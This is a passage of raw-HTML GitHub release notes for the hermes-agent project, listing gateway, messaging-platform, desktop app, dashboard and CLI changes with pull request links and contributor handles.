data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>)</li>
<li>Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/67275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67275/hovercard">#67275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67916/hovercard">#67916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65046/hovercard">#65046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56868/hovercard">#56868</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an <code>api_content</code> sidecar (<a href="https://github.com/NousResearch/hermes-agent/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58899/hovercard">#58899</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59203/hovercard">#59203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67274/hovercard">#67274</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<ul>
<li><strong>Durable delivery-obligation ledger</strong> for final responses (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Profile-based routing for inbound messages</strong> + multiplex hardening wave 2 + <code>GATEWAY_MULTIPLEX_PROFILES</code> override (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + salvaged contributors)</li>
<li>Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session <code>/model</code> overrides persist across restarts (<a href="https://github.com/NousResearch/hermes-agent/pull/67401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67401/hovercard">#67401</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65783" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65783/hovercard">#65783</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62645/hovercard">#62645</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56967/hovercard">#56967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57030/hovercard">#57030</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Session auto-reset default off; <code>/sessions search &lt;query&gt;</code>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (<a href="https://github.com/NousResearch/hermes-agent/pull/60194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60194/hovercard">#60194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57685" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57685/hovercard">#57685</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60944/hovercard">#60944</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65702/hovercard">#65702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58872/hovercard">#58872</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + <code>nous_session_valid</code> on <code>/api/status</code> for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (<a href="https://github.com/NousResearch/hermes-agent/pull/60730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60730/hovercard">#60730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60586" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60586/hovercard">#60586</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64649" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64649/hovercard">#64649</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59976/hovercard">#59976</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59969/hovercard">#59969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59983/hovercard">#59983</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Inline choice pickers</strong> for <code>/reasoning</code> and <code>/fast</code> on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (<a href="https://github.com/NousResearch/hermes-agent/pull/65799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65799/hovercard">#65799</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (<a href="https://github.com/NousResearch/hermes-agent/pull/58865" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58865/hovercard">#58865</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (<a href="https://github.com/NousResearch/hermes-agent/pull/66149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66149/hovercard">#66149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60187/hovercard">#60187</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60230/hovercard">#60230</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60493/hovercard">#60493</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51751/hovercard">#51751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: live per-tool status line (<a href="https://github.com/NousResearch/hermes-agent/pull/67080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67080/hovercard">#67080</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854171101" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/62007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62007/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/62007">#62007</a>)</li>
<li>Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (<a href="https://github.com/NousResearch/hermes-agent/pull/65543" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65543/hovercard">#65543</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65546/hovercard">#65546</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice: <code>stt.echo_transcripts</code> toggle; MEDIA: captions attached to the media bubble on standalone sends; <code>display.tool_progress: log</code> option (<a href="https://github.com/NousResearch/hermes-agent/pull/58859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58859/hovercard">#58859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61415" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61415/hovercard">#61415</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57014/hovercard">#57014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<ul>
<li><strong>Contribution-driven shell on a layout-tree model</strong> — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (<a href="https://github.com/NousResearch/hermes-agent/pull/60638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60638/hovercard">#60638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67303/hovercard">#67303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Capabilities page</strong> — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (<a href="https://github.com/NousResearch/hermes-agent/pull/57590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57590/hovercard">#57590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57441/hovercard">#57441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67482/hovercard">#67482</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hermes Cloud connection mode</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4773549207" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/55402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55402/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/55402">#55402</a>); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (<a href="https://github.com/NousResearch/hermes-agent/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61912/hovercard">#61912</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61916/hovercard">#61916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67203/hovercard">#67203</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (<a href="https://github.com/NousResearch/hermes-agent/pull/65204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65204/hovercard">#65204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62243/hovercard">#62243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65109/hovercard">#65109</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65174/hovercard">#65174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61147/hovercard">#61147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57913/hovercard">#57913</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (<a href="https://github.com/NousResearch/hermes-agent/pull/67469" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67469/hovercard">#67469</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67681/hovercard">#67681</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67282" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67282/hovercard">#67282</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63086/hovercard">#63086</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; <code>/journey</code> opens the memory graph overlay (<a href="https://github.com/NousResearch/hermes-agent/pull/67206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67206/hovercard">#67206</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67209" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67209/hovercard">#67209</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67759/hovercard">#67759</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67472/hovercard">#67472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63520/hovercard">#63520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60457/hovercard">#60457</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67029/hovercard">#67029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64598/hovercard">#64598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57267/hovercard">#57267</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Full TypeScript conversion of the desktop tree (<a href="https://github.com/NousResearch/hermes-agent/pull/57855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57855/hovercard">#57855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (<a href="https://github.com/NousResearch/hermes-agent/pull/60569" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60569/hovercard">#60569</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63699/hovercard">#63699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65361" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65361/hovercard">#65361</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64636" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64636/hovercard">#64636</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>)</li>
<li>Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; <code>browser.headed</code> schema toggle; profile + gateway topology on <code>/api/status</code>; mobile/hosted OpenAI OAuth login (<a href="https://github.com/NousResearch/hermes-agent/pull/60515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60515/hovercard">#60515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65895" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65895/hovercard">#65895</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61929" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61929/hovercard">#61929</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67046/hovercard">#67046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60537/hovercard">#60537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61330/hovercard">#61330</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><code>hermes serve</code> is a true headless backend (no web UI build/mount) (<a href="https://github.com/NousResearch/hermes-agent/pull/55923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55923/hovercard">#55923</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🧰 CLI &amp; TUI</h2>
<ul>
<li><code>/subscription</code> + <code>/topup</code> terminal billing (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
<li><strong><code>/model --once</code></strong> — one-turn model override that reverts automatically (<a href="https://github.com/NousResearch/hermes-agent/pull/67113" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67113/hovercard">#67113</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496326587" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/29923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29923/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/29923">#29923</a>)</li>
<li><strong>Stacked slash-skill invocations</strong> — <code>/skill-a /skill-b do XYZ</code> loads both skills in order (Claude Code port), with autocomplete + ghost text (<a href="https://github.com/NousResearch/hermes-agent/pull/57987" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57987/hovercard">#57987</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58763/hovercard">#58763</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><code>--safe-mode</code> troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; <code>/compact</code> alias + preview flags; pip/Homebrew installs warned unsupported (<a href="https://github.com/NousResearch/hermes-agent/pull/45300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45300/hovercard">#45300</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60111/hovercard">#60111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57992/hovercard">#57992</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57029/hovercard">#57029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57225/hovercard">#57225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (<a href="https://github.com/NousResearch/hermes-agent/pull/59782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59782/hovercard">#59782</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62859/hovercard">#62859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40624" data-hovercard-type="pull_request" 